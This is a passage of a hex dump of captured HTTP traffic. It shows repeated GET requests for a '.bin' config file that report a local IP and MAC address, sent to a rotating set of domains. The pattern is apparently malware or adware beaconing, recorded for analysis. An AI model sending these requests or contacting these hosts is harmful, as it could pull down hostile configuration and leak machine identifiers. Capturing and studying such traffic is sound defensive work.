0x000000f0 (00240)   3a20706c 75732e7a 7a696e66 6f722e63   : plus.zzinfor.c
0x00000100 (00256)   6e0d0a43 6f6e6e65 6374696f 6e3a2043   n..Connection: C
0x00000110 (00272)   6c6f7365 0d0a4361 6368652d 436f6e74   lose..Cache-Cont
0x00000120 (00288)   726f6c3a 206e6f2d 63616368 650d0a0d   rol: no-cache...
0x00000130 (00304)   0a0d0a                                ...

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f686174 6f6c642e 302e6269 6e3f7665   /hatold.0.bin?ve
0x00000020 (00032)   723d332e 31383026 6c69703d 3139322e   r=3.180&lip=192.
0x00000030 (00048)   3136382e 312e3226 6d61633d 58585858   168.1.2&mac=XXXX
0x00000040 (00064)   58585858 58585858 20485454 502f312e   XXXXXXXX HTTP/1.
0x00000050 (00080)   310d0a41 63636570 743a202a 2f2a0d0a   1..Accept: */*..
0x00000060 (00096)   41636365 70742d45 6e636f64 696e673a   Accept-Encoding:
0x00000070 (00112)   20646566 6c617465 0d0a4163 63657074    deflate..Accept
0x00000080 (00128)   2d4c616e 67756167 653a207a 682d636e   -Language: zh-cn
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 3b290d0a 486f7374   .0.50727;)..Host
0x000000f0 (00240)   3a20706c 75732e73 6f6f6d65 6e672e63   : plus.soomeng.c
0x00000100 (00256)   6f6d0d0a 436f6e6e 65637469 6f6e3a20   om..Connection: 
0x00000110 (00272)   436c6f73 650d0a43 61636865 2d436f6e   Close..Cache-Con
0x00000120 (00288)   74726f6c 3a206e6f 2d636163 68650d0a   trol: no-cache..
0x00000130 (00304)   0d0a0a                                ...

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f686174 6f6c642e 302e6269 6e3f7665   /hatold.0.bin?ve
0x00000020 (00032)   723d332e 31383026 6c69703d 3139322e   r=3.180&lip=192.
0x00000030 (00048)   3136382e 312e3226 6d61633d 58585858   168.1.2&mac=XXXX
0x00000040 (00064)   58585858 58585858 20485454 502f312e   XXXXXXXX HTTP/1.
0x00000050 (00080)   310d0a41 63636570 743a202a 2f2a0d0a   1..Accept: */*..
0x00000060 (00096)   41636365 70742d45 6e636f64 696e673a   Accept-Encoding:
0x00000070 (00112)   20646566 6c617465 0d0a4163 63657074    deflate..Accept
0x00000080 (00128)   2d4c616e 67756167 653a207a 682d636e   -Language: zh-cn
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 3b290d0a 486f7374   .0.50727;)..Host
0x000000f0 (00240)   3a20706c 75732e69 63616665 6164732e   : plus.icafeads.
0x00000100 (00256)   636f6d0d 0a436f6e 6e656374 696f6e3a   com..Connection:
0x00000110 (00272)   20436c6f 73650d0a 43616368 652d436f    Close..Cache-Co
0x00000120 (00288)   6e74726f 6c3a206e 6f2d6361 6368650d   ntrol: no-cache.
0x00000130 (00304)   0a0d0a                                ...

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f686174 6f6c642e 302e6269 6e3f7665   /hatold.0.bin?ve
0x00000020 (00032)   723d332e 31383026 6c69703d 3139322e   r=3.180&lip=192.
0x00000030 (00048)   3136382e 312e3226 6d61633d 58585858   168.1.2&mac=XXXX
0x00000040 (00064)   58585858 58585858 20485454 502f312e   XXXXXXXX HTTP/1.
0x00000050 (00080)   310d0a41 63636570 743a202a 2f2a0d0a   1..Accept: */*..
0x00000060 (00096)   41636365 70742d45 6e636f64 696e673a   Accept-Encoding:
0x00000070 (00112)   20646566 6c617465 0d0a4163 63657074    deflate..Accept
0x00000080 (00128)   2d4c616e 67756167 653a207a 682d636e   -Language: zh-cn
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 3b290d0a 486f7374   .0.50727;)..Host
0x000000f0 (00240)   3a20646f 776e696e 692e636f 6d0d0a43   : downini.com..C
0x00000100 (00256)   6f6e6e65 6374696f 6e3a2043 6c6f7365   onnection: Close
0x00000110 (00272)   0d0a4361 6368652d 436f6e74 726f6c3a   ..Cache-Control:
0x00000120 (00288)   206e6f2d 63616368 650d0a0d 0a68650d    no-cache....he.
0x00000130 (00304)   0a0d0a                                ...

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f686174 6f6c642e 302e6269 6e3f7665   /hatold.0.bin?ve
0x00000020 (00032)   723d332e 31383026 6c69703d 3139322e   r=3.180&lip=192.
0x00000030 (00048)   3136382e 312e3226 6d61633d 58585858   168.1.2&mac=XXXX
0x00000040 (00064)   58585858 58585858 20485454 502f312e   XXXXXXXX HTTP/1.
0x00000050 (00080)   310d0a41 63636570 743a202a 2f2a0d0a   1..Accept: */*..
0x00000060 (00096)   41636365 70742d45 6e636f64 696e673a   Accept-Encoding:
0x00000070 (00112)   20646566 6c617465 0d0a4163 63657074    deflate..Accept
0x00000080 (00128)   2d4c616e 67756167 653a207a 682d636e   -Language: zh-cn
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 3b290d0a 486f7374   .0.50727;)..Host
0x000000f0 (00240)   3a20696e 69787a2e 636f6d0d 0a436f6e   : inixz.com..Con
0x00000100 (00256)   6e656374 696f6e3a 20436c6f 73650d0a   nection: Close..
0x00000110 (00272)   43616368 652d436f 6e74726f 6c3a206e   Cache-Control: n
0x00000120 (00288)   6f2d6361 6368650d 0a0d0a0d 0a68650d   o-cache......he.
0x00000130 (00304)   0a0d0a                                ...

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f686174 6f6c642e 302e6269 6e3f7665   /hatold.0.bin?ve
0x00000020 (00032)   723d332e 31383026 6c69703d 3139322e   r=3.180&lip=192.
0x00000030 (00048)   3136382e 312e3226 6d61633d 58585858   168.1.2&mac=XXXX
0x00000040 (00064)   58585858 58585858 20485454 502f312e   XXXXXXXX HTTP/1.
0x00000050 (00080)   310d0a41 63636570 743a202a 2f2a0d0a   1..Accept: */*..
0x00000060 (00096)   41636365 70742d45 6e636f64 696e673a   Accept-Encoding:
0x00000070 (00112)   20646566 6c617465 0d0a4163 63657074    deflate..Accept
0x00000080 (00128)   2d4c616e 67756167 653a207a 682d636e   -Language: zh-cn
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 3b290d0a 486f7374   .0.50727;)..Host
0x000000f0 (00240)   3a20696e 6962696e 2e636f6d 0d0a436f   : inibin.com..Co
0x00000100 (00256)   6e6e6563 74696f6e 3a20436c 6f73650d   nnection: Close.
0x00000110 (00272)   0a436163 68652d43 6f6e7472 6f6c3a20   .Cache-Control: 
0x00000120 (00288)   6e6f2d63 61636865 0d0a0d0a 0a68650d   no-cache.....he.
0x00000130 (00304)   0a0d0a                                ...

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f686174 6f6c642e 302e6269 6e3f7665   /hatold.0.bin?ve
0x00000020 (00032)   723d332e 31383026 6c69703d 3139322e   r=3.180&lip=192.
0x00000030 (00048)   3136382e 312e3226 6d61633d 58585858   168.1.2&mac=XXXX
0x00000040 (00064)   58585858 58585858 20485454 502f312e   XXXXXXXX HTTP/1.
0x00000050 (00080)   310d0a41 63636570 743a202a 2f2a0d0a   1..Accept: */*..
0x00000060 (00096)   41636365 70742d45 6e636f64 696e673a   Accept-Encoding:
0x00000070 (00112)   20646566 6c617465 0d0a4163 63657074    deflate..Accept
0x00000080 (00128)   2d4c616e 67756167 653a207a 682d636e   -Language: zh-cn
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 3b290d0a 486f7374   .0.50727;)..Host
0x000000f0 (00240)   3a206269 6e646f77 6e2e636f 6d0d0a43   : bindown.com..C
0x00000100 (00256)   6f6e6e65 6374696f 6e3a2043 6c6f7365   onnection: Close
0x00000110 (00272)   0d0a4361 6368652d 436f6e74 726f6c3a   ..Cache-Control:
0x00000120 (00288)   206e6f2d 63616368 650d0a0d 0a68650d    no-cache....he.
0x00000130 (00304)   0a0d0a                                ...

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f686174 6f6c642e 302e6269 6e3f7665   /hatold.0.bin?ve
0x00000020 (00032)   723d332e 31383026 6c69703d 3139322e   r=3.180&lip=192.
0x00000030 (00048)   3136382e 312e3226 6d61633d 58585858   168.1.2&mac=XXXX
0x00000040 (00064)   58585858 58585858 20485454 502f312e   XXXXXXXX HTTP/1.
0x00000050 (00080)   310d0a41 63636570 743a202a 2f2a0d0a   1..Accept: */*..
0x00000060 (00096)   41636365 70742d45 6e636f64 696e673a   Accept-Encoding:
0x00000070 (00112)   20646566 6c617465 0d0a4163 63657074    deflate..Accept
0x00000080 (00128)   2d4c616e 67756167 653a207a 682d636e   -Language: zh-cn
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 3b290d0a 486f7374   .0.50727;)..Host
0x000000f0 (00240)   3a20706c 75732e7a 7a696e66 6f722e63   : plus.zzinfor.c
0x00000100 (00256)   6e0d0a43 6f6e6e65 6374696f 6e3a2043   n..Connection: C
0x00000110 (00272)   6c6f7365 0d0a4361 6368652d 436f6e74   lose..Cache-Cont
0x00000120 (00288)   726f6c3a 206e6f2d 63616368 650d0a0d   rol: no-cache...
0x00000130 (00304)   0a0d0a                                ...

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f686174 6f6c642e 302e6269 6e3f7665   /hatold.0.bin?ve
0x00000020 (00032)   723d332e 31383026 6c69703d 3139322e   r=3.180&lip=192.
0x00000030 (00048)   3136382e 312e3226 6d61633d 58585858   168.1.2&mac=XXXX
0x00000040 (00064)   58585858 58585858 20485454 502f312e   XXXXXXXX HTTP/1.
0x00000050 (00080)   310d0a41 63636570 743a202a 2f2a0d0a   1..Accept: */*..
0x00000060 (00096)   41636365 70742d45 6e636f64 696e673a   Accept-Encoding:
0x00000070 (00112)   20646566 6c617465 0d0a4163 63657074    deflate..Accept
0x00000080 (00128)   2d4c616e 67756167 653a207a 682d636e   -Language: zh-cn
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 3b290d0a 486f7374   .0.50727;)..Host
0x000000f0 (00240)   3a20706c 75732e73 6f6f6d65 6e672e63   : plus.soomeng.c
0x00000100 (00256)   6f6d0d0a 436f6e6e 65637469 6f6e3a20   om..Connection: 
0x00000110 (00272)   436c6f73 650d0a43 61636865 2d436f6e   Close..Cache-Con
0x00000120 (00288)   74726f6c 3a206e6f 2d636163 68650d0a   trol: no-cache..
0x00000130 (00304)   0d0a0a                                ...

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f686174 6f6c642e 302e6269 6e3f7665   /hatold.0.bin?ve
0x00000020 (00032)   723d332e 31383026 6c69703d 3139322e   r=3.180&lip=192.
0x00000030 (00048)   3136382e 312e3226 6d61633d 58585858   168.1.2&mac=XXXX
0x00000040 (00064)   58585858 58585858 20485454 502f312e   XXXXXXXX HTTP/1.
0x00000050 (00080)   310d0a41 63636570 743a202a 2f2a0d0a   1..Accept: */*..
0x00000060 (00096)   41636365 70742d45 6e636f64 696e673a   Accept-Encoding:
0x00000070 (00112)   20646566 6c617465 0d0a4163 63657074    deflate..Accept
0x00000080 (00128)   2d4c616e 67756167 653a207a 682d636e   -Language: zh-cn
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 3b290d0a 486f7374   .0.50727;)..Host
0x000000f0 (00240)   3a20706c 75732e69 63616665 6164732e   : plus.icafeads.
0x00000100 (00256)   636f6d0d 0a436f6e 6e656374 696f6e3a   com..Connection:
0x00000110 (00272)   20436c6f 73650d0a 43616368 652d436f    Close..Cache-Co
0x00000120 (00288)   6e74726f 6c3a206e 6f2d6361 6368650d   ntrol: no-cache.
0x00000130 (00304)   0a0d0a                                ...

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f686174 6f6c642e 302e6269 6e3f7665   /hatold.0.bin?ve
0x00000020 (00032)   723d332e 31383026 6c69703d 3139322e   r=3.180&lip=192.
0x00000030 (00048)   3136382e 312e3226 6d61633d 58585858   168.1.2&mac=XXXX
0x00000040 (00064)   58585858 58585858 20485454 502f312e   XXXXXXXX HTTP/1.
0x00000050 (00080)   310d0a41 63636570 743a202a 2f2a0d0a   1..Accept: */*..
0x00000060 (00096)   41636365 70742d45 6e636f64 696e673a   Accept-Encoding:
0x00000070 (00112)   20646566 6c617465 0d0a4163 63657074    deflate..Accept
0x00000080 (00128)   2d4c616e 67756167 653a207a 682d636e   -Language: zh-cn
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 3b290d0a 486f7374   .0.50727;)..Host
0x000000f0 (00240)   3a20646f 776e696e 692e636f 6d0d0a43   : downini.com..C
0x00000100 (00256)   6f6e6e65 6374696f 6e3a2043 6c6f7365   onnection: Close
0x00000110 (00272)   0d0a4361 6368652d 436f6e74 726f6c3a   ..Cache-Control:
0x00000120 (00288)   206e6f2d 63616368 650d0a0d 0a68650d    no-cache....he.
0x00000130 (00304)   0a0d0a                                ...

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f686174 6f6c642e 302e6269 6e3f7665   /hatold.0.bin?ve
0x00000020 (00032)   723d332e 31383026 6c69703d 3139322e   r=3.180&lip=192.
0x00000030 (00048)   3136382e 312e3226 6d61633d 58585858   168.1.2&mac=XXXX
0x00000040 (00064)   58585858 58585858 20485454 502f312e   XXXXXXXX HTTP/1.
0x00000050 (00080)   310d0a41 63636570 743a202a 2f2a0d0a   1..Accept: */*..
0x00000060 (00096)   41636365 70742d45 6e636f64 696e673a   Accept-Encoding:
0x00000070 (00112)   20646566 6c617465 0d0a4163 63657074    deflate..Accept
0x00000080 (00128)   2d4c616e 67756167 653a207a 682d636e   -Language: zh-cn
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 3b290d0a 486f7374   .0.50727;)..Host
0x000000f0 (00240)   3a20696e 69787a2e 636f6d0d 0a436f6e   : inixz.com..Con
0x00000100 (00256)   6e656374 696f6e3a 20436c6f 73650d0a   nection: Close..
0x00000110 (00272)   43616368 652d436f 6e74726f 6c3a206e   Cache-Control: n
0x00000120 (00288)   6f2d6361 6368650d 0a0d0a0d 0a68650d   o-cache......he.
0x00000130 (00304)   0a0d0a                                ...

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f686174 6f6c642e 302e6269 6e3f7665   /hatold.0.bin?ve
0x00000020 (00032)   723d332e 31383026 6c69703d 3139322e   r=3.180&lip=192.
0x00000030 (00048)   3136382e 312e3226 6d61633d 58585858   168.1.2&mac=XXXX
0x00000040 (00064)   58585858 58585858 20485454 502f312e   XXXXXXXX HTTP/1.
0x00000050 (00080)   310d0a41 63636570 743a202a 2f2a0d0a   1..Accept: */*..
0x00000060 (00096)   41636365 70742d45 6e636f64 696e673a   Accept-Encoding:
0x00000070 (00112)   20646566 6c617465 0d0a4163 63657074    deflate..Accept
0x00000080 (00128)   2d4c616e 67756167 653a207a 682d636e   -Language: zh-cn
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 3b290d0a 486f7374   .0.50727;)..Host
0x000000f0 (00240)   3a20696e 6962696e 2e636f6d 0d0a436f   : inibin.com..Co
0x00000100 (00256)   6e6e6563 74696f6e 3a20436c 6f73650d   nnection: Close.
0x00000110 (00272)   0a436163 68652d43 6f6e7472 6f6c3a20   .Cache-Control: 
0x00000120 (00288)   6e6f2d63 61636865 0d0a0d0a 0a68650d   no-cache.....he.
0x00000130 (00304)   0a0d0a                                ...

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f686174 6f6c642e 302e6269 6e3f7665   /hatold.0.bin?ve
0x00000020 (00032)   723d332e 31383026 6c69703d 3139322e   r=3.180&lip=192.
0x00000030 (00048)   3136382e 312e3226 6d61633d 58585858   168.1.2&mac=XXXX
0x00000040 (00064)   58585858 58585858 20485454 502f312e   XXXXXXXX HTTP/1.
0x00000050 (00080)   310d0a41 63636570 743a202a 2f2a0d0a   1..Accept: */*..
0x00000060 (00096)   41636365 70742d45 6e636f64 696e673a   Accept-Encoding:
0x00000070 (00112)   20646566 6c617465 0d0a4163 63657074    deflate..Accept
0x00000080 (00128)   2d4c616e 67756167 653a207a 682d636e   -Language: zh-cn
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 3b290d0a 486f7374   .0.50727;)..Host
0x000000f0 (00240)   3a206269 6e646f77 6e2e636f 6d0d0a43   : bindown.com..C
0x00000100 (00256)   6f6e6e65 6374696f 6e3a2043 6c6f7365   onnection: Close
0x00000110 (00272)   0d0a4361 6368652d 436f6e74 726f6c3a   ..Cache-Control:
0x00000120 (00288)   206e6f2d 63616368 650d0a0d 0a68650d    no-cache....he.
0x00000130 (00304)   0a0d0a                                ...

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f686174 6f6c642e 302e6269 6e3f7665   /hatold.0.bin?ve
0x00000020 (00032)   723d332e 31383026 6c69703d 3139322e   r=3.180&lip=192.
0x00000030 (00048)   3136382e 312e3226 6d61633d 58585858   168.1.2&mac=XXXX
0x00000040 (00064)   58585858 58585858 20485454 502f312e   XXXXXXXX HTTP/1.
0x00000050 (00080)   310d0a41 63636570 743a202a 2f2a0d0a   1..Accept: */*..
0x00000060 (00096)   41636365 70742d45 6e636f64 696e673a   Accept-Encoding:
0x00000070 (00112)   20646566 6c617465 0d0a4163 63657074    deflate..Accept
0x00000080 (00128)   2d4c616e 67756167 653a207a 682d636e   -Language: zh-cn
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 3b290d0a 486f7374   .0.50727;)..Host
0x000000f0 (00240)   3a20706c 75732e7a 7a696e66 6f722e63   : plus.zzinfor.c
0x00000100 (00256)   6e0d0a43 6f6e6e65 6374696f 6e3a2043   n..Connection: C
0x00000110 (00272)   6c6f7365 0d0a4361 6368652d 436f6e74   lose..Cache-Cont
0x00000120 (00288)   726f6c3a 206e6f2d 63616368 650d0a0d   rol: no-cache...
0x00000130 (00304)   0a0d0a                                ...

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f686174 6f6c642e 302e6269 6e3f7665   /hatold.0.bin?ve
0x00000020 (00032)   723d332e 31383026 6c69703d 3139322e   r=3.180&lip=192.
0x00000030 (00048)   3136382e 312e3226 6d61633d 58585858   168.1.2&mac=XXXX
0x00000040 (00064)   58585858 58585858 20485454 502f312e   XXXXXXXX HTTP/1.
0x00000050 (00080)   310d0a41 63636570 743a202a 2f2a0d0a   1..Accept: */*..
0x00000060 (00096)   41636365 70742d45 6e636f64 696e673a   Accept-Encoding:
0x00000070 (00112)   20646566 6c617465 0d0a4163 63657074    deflate..Accept
0x00000080 (00128)   2d4c616e 67756167 653a207a 682d636e   -Language: zh-cn
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 3b290d0a 486f7374   .0.50727;)..Host
0x000000f0 (00240)   3a20706c 75732e73 6f6f6d65 6e672e63   : plus.soomeng.c
0x00000100 (00256)   6f6d0d0a 436f6e6e 65637469 6f6e3a20   om..Connection: 
0x00000110 (00272)   436c6f73 650d0a43 61636865 2d436f6e   Close..Cache-Con
0x00000120 (00288)   74726f6c 3a206e6f 2d636163 68650d0a   trol: no-cache..
0x00000130 (00304)   0d0a0a                                ...

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f686174 6f6c642e 302e6269 6e3f7665   /hatold.0.bin?ve
0x00000020 (00032)   723d332e 31383026 6c69703d 3139322e   r=3.180&lip=192.
0x00000030 (00048)   3136382e 312e3226 6d61633d 58585858   168.1.2&mac=XXXX
0x00000040 (00064)   58585858 58585858 20485454 502f312e   XXXXXXXX HTTP/1.
0x00000050 (00080)   310d0a41 63636570 743a202a 2f2a0d0a   1..Accept: */*..
0x00000060 (00096)   41636365 70742d45 6e636f64 696e673a   Accept-Encoding:
0x00000070 (00112)   20646566 6c617465 0d0a4163 63657074    deflate..Accept
0x00000080 (00128)   2d4c616e 67756167 653a207a 682d636e   -Language: zh-cn
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 3b290d0a 486f7374   .0.50727;)..Host
0x000000f0 (00240)   3a20706c 75732e69 63616665 6164732e   : plus.icafeads.
0x00000100 (00256)   636f6d0d 0a436f6e 6e656374 696f6e3a   com..Connection:
0x00000110 (00272)   20436c6f 73650d0a 43616368 652d436f    Close..Cache-Co
0x00000120 (00288)   6e74726f 6c3a206e 6f2d6361 6368650d   ntrol: no-cache.
0x00000130 (00304)   0a0d0a                                ...

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f686174 6f6c642e 302e6269 6e3f7665   /hatold.0.bin?ve
0x00000020 (00032)   723d332e 31383026 6c69703d 3139322e   r=3.180&lip=192.
0x00000030 (00048)   3136382e 312e3226 6d61633d 58585858   168.1.2&mac=XXXX
0x00000040 (00064)   58585858 58585858 20485454 502f312e   XXXXXXXX HTTP/1.
0x00000050 (00080)   310d0a41 63636570 743a202a 2f2a0d0a   1..Accept: */*..
0x00000060 (00096)   41636365 70742d45 6e636f64 696e673a   Accept-Encoding:
0x00000070 (00112)   20646566 6c617465 0d0a4163 63657074    deflate..Accept
0x00000080 (00128)   2d4c616e 67756167 653a207a 682d636e   -Language: zh-cn
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 3b290d0a 486f7374   .0.50727;)..Host
0x000000f0 (00240)   3a20646f 776e696e 692e636f 6d0d0a43   : downini.com..C
0x00000100 (00256)   6f6e6e65 6374696f 6e3a2043 6c6f7365   onnection: Close
0x00000110 (00272)   0d0a4361 6368652d 436f6e74 726f6c3a   ..Cache-Control:
0x00000120 (00288)   206e6f2d 63616368 650d0a0d 0a68650d    no-cache....he.
0x00000130 (00304)   0a0d0a                                ...

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f686174 6f6c642e 302e6269 6e3f7665   /hatold.0.bin?ve
0x00000020 (00032)   723d332e 31383026 6c69703d 3139322e   r=3.180&lip=192.
0x00000030 (00048)   3136382e 312e3226 6d61633d 58585858   168.1.2&mac=XXXX
